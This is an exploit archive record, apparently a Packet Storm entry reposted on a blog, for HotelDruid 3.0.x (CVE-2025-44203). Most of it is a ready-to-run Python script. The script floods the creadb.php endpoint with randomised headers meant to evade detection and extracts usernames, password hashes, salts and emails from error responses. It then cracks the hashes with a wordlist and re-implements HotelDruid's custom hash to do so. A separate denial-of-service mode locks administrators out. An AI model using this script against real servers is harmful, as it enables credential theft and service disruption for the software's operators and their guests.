{“lastseen”:”2026-06-16T16:03:42″,”description”:”Proof of concept denial of service and credential disclosure exploit for HotelDruid versions 3.0.0 and 3.0.7…”,”published”:”2026-06-16T00:00:00″,”modified”:”2026-06-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HotelDruid 3.0.x Credential Exposure \/ Stress Tester”,”source”:””,”references”:””,”id”:”PACKETSTORM:223502″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-44203″],”sourceData”:”==================================================================================================================================\\n | # Title : HotelDruid 3.0.x Credential Exposure \\u0026 Stress Testing |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : https:\/\/www.hoteldruid.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : a vulnerability in HotelDruid (versions 3.0.0\u20133.0.7). \\n It performs high-volume HTTP requests to a vulnerable endpoint (creadb.php) in order to trigger a potential race condition or SQL error-based information disclosure. \\n \\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import sys\\n import requests\\n import threading\\n import time\\n import re\\n import hashlib\\n import argparse\\n from concurrent.futures import ThreadPoolExecutor, as_completed\\n from urllib.parse import urljoin\\n \\n USER_AGENTS = [\\n \\”Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\”,\\n \\”Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36\\”,\\n \\”Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36\\”\\n ]\\n REQUEST_DELAY = 0.02 \\n THREADS = 50 \\n DEFAULT_WORDLIST = \\”rockyou.txt\\”\\n \\n class HotelDruidExploit:\\n def __init__(self, target_ip, port=80, path=\\”\/hoteldruid\/\\”):\\n self.base_url = f\\”http:\/\/{target_ip}:{port}{path}\\”\\n self.creadb_url = urljoin(self.base_url, \\”creadb.php\\”)\\n self.extracted_data = {\\n \\”username\\”: None,\\n \\”hash\\”: None,\\n \\”salt\\”: None,\\n \\”full_response\\”: None\\n }\\n self.found_event = threading.Event()\\n self.lock = threading.Lock()\\n \\n def _get_headers(self):\\n \\”\\”\\”Generate randomized headers to avoid detection\\”\\”\\”\\n import random\\n return {\\n \\”User-Agent\\”: random.choice(USER_AGENTS),\\n \\”Accept\\”: \\”text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\”,\\n \\”Accept-Language\\”: \\”en-US,en;q=0.5\\”,\\n \\”Accept-Encoding\\”: \\”gzip, deflate, br\\”,\\n \\”Content-Type\\”: \\”application\/x-www-form-urlencoded\\”,\\n \\”Origin\\”: self.base_url.rstrip(‘\/’),\\n \\”Connection\\”: \\”keep-alive\\”,\\n \\”Referer\\”: urljoin(self.base_url, \\”inizio.php\\”),\\n \\”Upgrade-Insecure-Requests\\”: \\”1\\”\\n }\\n def _extract_sensitive_data(self, response_text):\\n \\”\\”\\”Extract username, password hash, and salt from SQL error messages\\”\\”\\”\\n patterns = {\\n \\”username\\”: r\\”username[_\\\\s]*=[_\\\\s]*[‘\\\\\\”]?([a-zA-Z0-9_]+)[‘\\\\\\”]?\\”,\\n \\”hash\\”: r\\”password[_\\\\s]*=[_\\\\s]*[‘\\\\\\”]?([a-fA-F0-9]{32})[‘\\\\\\”]?\\”,\\n \\”salt\\”: r\\”salt[_\\\\s]*=[_\\\\s]*[‘\\\\\\”]?([a-fA-F0-9]{20,40})[‘\\\\\\”]?\\”,\\n \\”email\\”: r\\”email[_\\\\s]*=[_\\\\s]*[‘\\\\\\”]?([^’\\\\\\”]+@[^’\\\\\\”]+)[‘\\\\\\”]?\\”\\n }\\n extracted = {}\\n for key, pattern in patterns.items():\\n match = re.search(pattern, response_text, re.IGNORECASE)\\n if match:\\n extracted[key] = match.group(1)\\n \\n mysql_pattern = r\\”VALUES\\\\s*\\\\(\\\\s*'([^’]+)'[^,]+,\\\\s*'([a-f0-9]{32})'[^,]+,\\\\s*'([a-f0-9]{20,})’\\”\\n match = re.search(mysql_pattern, response_text, re.IGNORECASE)\\n if match and not extracted.get(\\”username\\”):\\n extracted[\\”username\\”] = match.group(1)\\n extracted[\\”hash\\”] = match.group(2)\\n extracted[\\”salt\\”] = match.group(3)\\n return extracted\\n def send_request(self, request_id):\\n \\”\\”\\”Send a single POST request to creadb.php\\”\\”\\”\\n if self.found_event.is_set():\\n return None\\n try:\\n headers = self._get_headers()\\n data = {\\”lingua\\”: \\”en\\”}\\n response = requests.post(\\n self.creadb_url, \\n headers=headers, \\n data=data,\\n timeout=10,\\n allow_redirects=False\\n )\\n if response.status_code == 200:\\n extracted = self._extract_sensitive_data(response.text)\\n \\n if extracted and (extracted.get(\\”hash\\”) or extracted.get(\\”salt\\”)):\\n with self.lock:\\n self.extracted_data.update(extracted)\\n self.extracted_data[\\”full_response\\”] = response.text\\n print(f\\”\\\\n[!] SUCCESS! Sensitive data extracted from request #{request_id}\\”)\\n print(f\\”[+] Username: {extracted.get(‘username’, ‘N\/A’)}\\”)\\n print(f\\”[+] Hash (MD5): {extracted.get(‘hash’, ‘N\/A’)}\\”)\\n print(f\\”[+] Salt: {extracted.get(‘salt’, ‘N\/A’)}\\”)\\n print(f\\”[+] Email: {extracted.get(’email’, ‘N\/A’)}\\”)\\n self.found_event.set()\\n return extracted\\n if request_id % 50 == 0:\\n print(f\\”[*] Sent {request_id} requests…\\”, end=\\”\\\\r\\”)\\n except requests.exceptions.ConnectionError:\\n if request_id \\u003e 10:\\n print(f\\”\\\\n[!] Connection failed – Possible DoS condition achieved!\\”)\\n self.found_event.set()\\n except Exception as e:\\n pass\\n return None\\n def exploit(self, total_requests=500):\\n \\”\\”\\”Main exploitation routine with multi-threading\\”\\”\\”\\n print(f\\”[*] Targeting: {self.creadb_url}\\”)\\n print(f\\”[*] Sending {total_requests} concurrent requests to trigger race condition…\\”)\\n print(\\”[*] This may take a few minutes…\\\\n\\”)\\n start_time = time.time()\\n with ThreadPoolExecutor(max_workers=THREADS) as executor:\\n futures = {\\n executor.submit(self.send_request, i): i \\n for i in range(1, total_requests + 1)\\n }\\n for future in as_completed(futures):\\n if self.found_event.is_set():\\n for f in futures:\\n f.cancel()\\n break\\n time.sleep(REQUEST_DELAY)\\n elapsed = time.time() – start_time\\n if not self.found_event.is_set():\\n print(\\”\\\\n[-] Exploit failed to extract data.\\”)\\n print(\\”[!] Try increasing total_requests or reducing system resources on target.\\”)\\n return False\\n print(f\\”\\\\n[*] Exploitation completed in {elapsed:.2f} seconds\\”)\\n return True\\n def calculate_custom_hash(self, password, salt):\\n \\”\\”\\”Recreate the custom HotelDruid hashing algorithm\\”\\”\\”\\n hashed = hashlib.md5((password + salt).encode()).hexdigest()\\n for num in range(1, 15):\\n truncated_salt = salt[:(20 – num)]\\n hashed = hashlib.md5((hashed + truncated_salt).encode()).hexdigest()\\n return hashed\\n def crack_password(self, wordlist_path, max_attempts=10000000):\\n \\”\\”\\”Brute force the password using the extracted salt and hash\\”\\”\\”\\n if not self.extracted_data[\\”hash\\”] or not self.extracted_data[\\”salt\\”]:\\n print(\\”[-] Missing hash or salt. Cannot crack password.\\”)\\n return None\\n print(f\\”\\\\n[*] Starting password cracking…\\”)\\n print(f\\”[*] Target Hash: {self.extracted_data[‘hash’]}\\”)\\n print(f\\”[*] Salt: {self.extracted_data[‘salt’]}\\”)\\n print(f\\”[*] Wordlist: {wordlist_path}\\”)\\n try:\\n with open(wordlist_path, ‘r’, encoding=’latin-1′, errors=’ignore’) as f:\\n for idx, line in enumerate(f):\\n password = line.strip()\\n \\n if idx % 10000 == 0 and idx \\u003e 0:\\n print(f\\”[*] Attempted {idx} passwords…\\”, end=\\”\\\\r\\”)\\n calculated_hash = self.calculate_custom_hash(password, self.extracted_data[\\”salt\\”])\\n if calculated_hash == self.extracted_data[\\”hash\\”]:\\n print(f\\”\\\\n[+] PASSWORD FOUND: {password}\\”)\\n return password\\n if idx \\u003e= max_attempts:\\n break\\n except FileNotFoundError:\\n print(f\\”[-] Wordlist not found: {wordlist_path}\\”)\\n return None\\n print(\\”\\\\n[-] Password not found in wordlist.\\”)\\n return None\\n def trigger_dos(self, intense=True):\\n \\”\\”\\”Trigger DoS condition by overwhelming the database setup process\\”\\”\\”\\n print(f\\”\\\\n[*] Triggering DoS condition…\\”)\\n if intense:\\n total = 1000\\n print(f\\”[*] Sending {total} rapid requests to corrupt database state…\\”)\\n \\n def flood():\\n for i in range(total):\\n try:\\n requests.post(self.creadb_url, data={\\”lingua\\”: \\”en\\”}, timeout=2)\\n except:\\n pass\\n with ThreadPoolExecutor(max_workers=20) as executor:\\n futures = [executor.submit(flood) for _ in range(5)]\\n for f in as_completed(futures):\\n pass\\n else:\\n for i in range(300):\\n try:\\n requests.post(self.creadb_url, data={\\”lingua\\”: \\”en\\”}, timeout=1)\\n except:\\n pass\\n time.sleep(0.02)\\n print(\\”[+] DoS attack completed. Administrator may not be able to login with original credentials.\\”)\\n return True\\n def main():\\n parser = argparse.ArgumentParser(description=\\”HotelDruid 3.0.0\/3.0.7 Exploit – CVE-2025-44203\\”)\\n parser.add_argument(\\”target\\”, help=\\”Target IP address\\”)\\n parser.add_argument(\\”-p\\”, \\”–port\\”, type=int, default=80, help=\\”HTTP port (default: 80)\\”)\\n parser.add_argument(\\”-r\\”, \\”–requests\\”, type=int, default=500, help=\\”Number of requests (default: 500)\\”)\\n parser.add_argument(\\”-w\\”, \\”–wordlist\\”, default=DEFAULT_WORDLIST, help=\\”Wordlist for password cracking\\”)\\n parser.add_argument(\\”–dos-only\\”, action=\\”store_true\\”, help=\\”Only perform DoS attack\\”)\\n parser.add_argument(\\”–crack-only\\”, action=\\”store_true\\”, help=\\”Only crack password using existing extracted data\\”)\\n parser.add_argument(\\”–hash\\”, help=\\”Hash value (for crack-only mode)\\”)\\n parser.add_argument(\\”–salt\\”, help=\\”Salt value (for crack-only mode)\\”)\\n args = parser.parse_args()\\n banner = \\”\\”\\”\\n \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n \u2551 CVE-2025-44203 – HotelDruid 3.0.0\/3.0.7 \u2551\\n \u2551 Advanced Exploit: Credential Disclosure + DoS \u2551\\n \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n \\”\\”\\”\\n print(banner)\\n if args.crack_only:\\n if not args.hash or not args.salt:\\n print(\\”[-] Crack-only mode requires –hash and –salt\\”)\\n sys.exit(1)\\n exploit = HotelDruidExploit(args.target)\\n exploit.extracted_data[\\”hash\\”] = args.hash\\n exploit.extracted_data[\\”salt\\”] = args.salt\\n password = exploit.crack_password(args.wordlist)\\n if password:\\n print(f\\”\\\\n[+] Plaintext password: {password}\\”)\\n sys.exit(0)\\n if args.dos_only:\\n exploit = HotelDruidExploit(args.target, args.port)\\n exploit.trigger_dos(intense=True)\\n sys.exit(0)\\n exploit = HotelDruidExploit(args.target, args.port)\\n if not exploit.exploit(total_requests=args.requests):\\n print(\\”\\\\n[!] Exploit failed. Possible reasons:\\”)\\n print(\\” – Target is patched (version \\u003e= 3.0.8)\\”)\\n print(\\” – Target has sufficient resources (4+ cores \/ 4+ GB RAM)\\”)\\n print(\\” – ‘Restrict to localhost’ is set to Yes\\”)\\n print(\\” – Try increasing –requests parameter\\”)\\n sys.exit(1)\\n if exploit.extracted_data[\\”hash\\”] and exploit.extracted_data[\\”salt\\”]:\\n password = exploit.crack_password(args.wordlist)\\n if password:\\n print(f\\”\\\\n[+] SUCCESSFUL EXPLOITATION COMPLETE!\\”)\\n print(f\\”[+] Username: {exploit.extracted_data[‘username’]}\\”)\\n print(f\\”[+] Password: {password}\\”)\\n print(f\\”\\\\n[*] Note: DoS condition has been triggered.\\”)\\n print(\\”[*] The administrator cannot login with the original credentials.\\”)\\n print(\\”[*] You cannot login either – this is a pure DoS + info disclosure.\\”)\\n else:\\n print(\\”\\\\n[-] Could not extract complete hash\/salt for password cracking.\\”)\\n choice = input(\\”\\\\n[?] Trigger additional DoS attack? (y\/n): \\”).lower()\\n if choice == ‘y’:\\n exploit.trigger_dos(intense=True)\\n if __name__ == \\”__main__\\”:\\n main()\\n \\t\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223502″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223502\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-16T16:03:42″,”description”:”Proof of concept denial of service and credential disclosure exploit for HotelDruid versions 3.0.0 and 3.0.7…”,”published”:”2026-06-16T00:00:00″,”modified”:”2026-06-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 HotelDruid 3.0.x Credential Exposure \/ Stress Tester”,”source”:””,”references”:””,”id”:”PACKETSTORM:223502″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-44203″],”sourceData”:”==================================================================================================================================\\n | #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-63182","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n